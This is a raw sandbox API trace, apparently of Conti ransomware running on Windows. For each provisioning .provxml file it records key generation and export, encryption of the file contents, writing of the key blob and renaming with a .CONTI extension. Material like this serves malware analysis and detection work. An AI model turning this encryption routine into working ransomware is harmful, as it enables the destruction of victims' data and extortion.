	[0112.470] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\376__Connections_Cellular_STC (Saudi Arabia)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\376__Connections_Cellular_STC (Saudi Arabia)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\376__Connections_Cellular_STC (Saudi Arabia)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.470] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\376__Connections_Cellular_STC (Saudi Arabia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\376__connections_cellular_stc (saudi arabia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\376__Connections_Cellular_STC (Saudi Arabia)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\376__connections_cellular_stc (saudi arabia)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.471] GetProcessHeap () returned 0x1720000
	[0112.471] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0112.471] CryptDestroyKey (hKey=0x17c77f0) returned 1
	[0112.471] GetProcessHeap () returned 0x1720000
	[0112.471] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6567710 | out: hHeap=0x1720000) returned 1
	[0112.471] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0112.471] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x65afbf8 | out: phKey=0x65afbf8*=0x17c7770) returned 1
	[0112.471] CryptExportKey (in: hKey=0x17c7770, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65afbfc, pdwDataLen=0x3e3fe8c | out: pbData=0x65afbfc*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0112.472] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\542__Connections_Cellular_Orange (Equatorial Guinea)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\542__connections_cellular_orange (equatorial guinea)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0112.472] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\542__Connections_Cellular_Orange (Equatorial Guinea)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\542__connections_cellular_orange (equatorial guinea)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4
	[0112.472] GetLastError () returned 0x0
	[0112.472] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=847) returned 1
	[0112.472] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x34f
	[0112.472] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.472] SetEndOfFile (hFile=0x3e4) returned 1
	[0112.472] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.472] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.472] WriteFile (in: hFile=0x3e4, lpBuffer=0x65afbfc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x65afbfc*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0112.474] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.474] ReadFile (in: hFile=0x3e4, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x34f, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x34f, lpOverlapped=0x0) returned 1
	[0112.474] CryptEncrypt (in: hKey=0x17c7770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x34f, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x350) returned 1
	[0112.474] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.474] WriteFile (in: hFile=0x3e4, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x350, lpOverlapped=0x0) returned 1
	[0112.475] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.475] WriteFile (in: hFile=0x3e4, lpBuffer=0x65afbf0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x65afbf0*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0112.475] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.475] CloseHandle (hObject=0x3e4) returned 1
	[0112.475] GetProcessHeap () returned 0x1720000
	[0112.475] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0112.475] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\542__Connections_Cellular_Orange (Equatorial Guinea)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\542__Connections_Cellular_Orange (Equatorial Guinea)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\542__Connections_Cellular_Orange (Equatorial Guinea)_i1$(__MVID)@WAP.provxml"
	[0112.475] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\542__Connections_Cellular_Orange (Equatorial Guinea)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\542__Connections_Cellular_Orange (Equatorial Guinea)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\542__Connections_Cellular_Orange (Equatorial Guinea)_i1$(__MVID)@WAP.provxml.CONTI"
	[0112.475] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\542__Connections_Cellular_Orange (Equatorial Guinea)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\542__connections_cellular_orange (equatorial guinea)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\542__Connections_Cellular_Orange (Equatorial Guinea)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\542__connections_cellular_orange (equatorial guinea)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0112.476] GetProcessHeap () returned 0x1720000
	[0112.476] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0112.476] CryptDestroyKey (hKey=0x17c7770) returned 1
	[0112.476] GetProcessHeap () returned 0x1720000
	[0112.476] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180c540 | out: hHeap=0x1720000) returned 1
	[0112.476] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0112.476] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x65afe40 | out: phKey=0x65afe40*=0x17c7bf0) returned 1
	[0112.476] CryptExportKey (in: hKey=0x17c7bf0, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65afe44, pdwDataLen=0x3e3fe8c | out: pbData=0x65afe44*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0112.477] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\543__Connections_Cellular_Orange (Guinea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\543__connections_cellular_orange (guinea)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.477] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\543__Connections_Cellular_Orange (Guinea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\543__connections_cellular_orange (guinea)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4
	[0112.477] GetLastError () returned 0x0
	[0112.477] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=714) returned 1
	[0112.477] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2ca
	[0112.477] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.477] SetEndOfFile (hFile=0x3e4) returned 1
	[0112.477] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.478] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.478] WriteFile (in: hFile=0x3e4, lpBuffer=0x65afe44*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x65afe44*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0112.479] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.479] ReadFile (in: hFile=0x3e4, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x2ca, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x2ca, lpOverlapped=0x0) returned 1
	[0112.479] CryptEncrypt (in: hKey=0x17c7bf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x2ca, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x2d0) returned 1
	[0112.479] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.479] WriteFile (in: hFile=0x3e4, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x2d0, lpOverlapped=0x0) returned 1
	[0112.479] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.480] WriteFile (in: hFile=0x3e4, lpBuffer=0x65afe38*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x65afe38*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0112.480] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.480] CloseHandle (hObject=0x3e4) returned 1
	[0112.480] GetProcessHeap () returned 0x1720000
	[0112.480] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0112.480] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\543__Connections_Cellular_Orange (Guinea)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\543__Connections_Cellular_Orange (Guinea)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\543__Connections_Cellular_Orange (Guinea)_i0$(__MVID)@WAP.provxml"
	[0112.480] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\543__Connections_Cellular_Orange (Guinea)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\543__Connections_Cellular_Orange (Guinea)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\543__Connections_Cellular_Orange (Guinea)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.480] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\543__Connections_Cellular_Orange (Guinea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\543__connections_cellular_orange (guinea)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\543__Connections_Cellular_Orange (Guinea)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\543__connections_cellular_orange (guinea)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.481] GetProcessHeap () returned 0x1720000
	[0112.481] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0112.481] CryptDestroyKey (hKey=0x17c7bf0) returned 1
	[0112.481] GetProcessHeap () returned 0x1720000
	[0112.481] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b7a88 | out: hHeap=0x1720000) returned 1
	[0112.481] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0112.481] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x65b12c8 | out: phKey=0x65b12c8*=0x17c7770) returned 1
	[0112.481] CryptExportKey (in: hKey=0x17c7770, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b12cc, pdwDataLen=0x3e3fe8c | out: pbData=0x65b12cc*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0112.481] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\544__Connections_Cellular_Orange (Guinea-Bissau)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\544__connections_cellular_orange (guinea-bissau)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.482] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\544__Connections_Cellular_Orange (Guinea-Bissau)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\544__connections_cellular_orange (guinea-bissau)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4
	[0112.482] GetLastError () returned 0x0
	[0112.482] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=721) returned 1
	[0112.482] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d1
	[0112.482] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.482] SetEndOfFile (hFile=0x3e4) returned 1
	[0112.482] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.482] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.482] WriteFile (in: hFile=0x3e4, lpBuffer=0x65b12cc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x65b12cc*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0112.486] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.486] ReadFile (in: hFile=0x3e4, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x2d1, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x2d1, lpOverlapped=0x0) returned 1
	[0112.486] CryptEncrypt (in: hKey=0x17c7770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x2d1, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x2e0) returned 1
	[0112.486] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.486] WriteFile (in: hFile=0x3e4, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x2e0, lpOverlapped=0x0) returned 1
	[0112.486] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.486] WriteFile (in: hFile=0x3e4, lpBuffer=0x65b12c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x65b12c0*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0112.487] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.487] CloseHandle (hObject=0x3e4) returned 1
	[0112.487] GetProcessHeap () returned 0x1720000
	[0112.487] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0112.487] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\544__Connections_Cellular_Orange (Guinea-Bissau)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\544__Connections_Cellular_Orange (Guinea-Bissau)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\544__Connections_Cellular_Orange (Guinea-Bissau)_i0$(__MVID)@WAP.provxml"
	[0112.487] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\544__Connections_Cellular_Orange (Guinea-Bissau)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\544__Connections_Cellular_Orange (Guinea-Bissau)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\544__Connections_Cellular_Orange (Guinea-Bissau)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.487] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\544__Connections_Cellular_Orange (Guinea-Bissau)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\544__connections_cellular_orange (guinea-bissau)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\544__Connections_Cellular_Orange (Guinea-Bissau)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\544__connections_cellular_orange (guinea-bissau)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.488] GetProcessHeap () returned 0x1720000
	[0112.488] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0112.488] CryptDestroyKey (hKey=0x17c7770) returned 1
	[0112.488] GetProcessHeap () returned 0x1720000
	[0112.488] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180bbd8 | out: hHeap=0x1720000) returned 1
	[0112.488] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0112.488] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x65b0088 | out: phKey=0x65b0088*=0x17c7db0) returned 1
	[0112.488] CryptExportKey (in: hKey=0x17c7db0, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b008c, pdwDataLen=0x3e3fe8c | out: pbData=0x65b008c*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0112.489] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\546__Connections_Cellular_Orange (Côte d’Ivoire)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\546__connections_cellular_orange (côte d’ivoire)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0112.489] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\546__Connections_Cellular_Orange (Côte d’Ivoire)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\546__connections_cellular_orange (côte d’ivoire)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4
	[0112.489] GetLastError () returned 0x0
	[0112.489] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=848) returned 1
	[0112.489] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x350
	[0112.489] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.489] SetEndOfFile (hFile=0x3e4) returned 1
	[0112.492] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
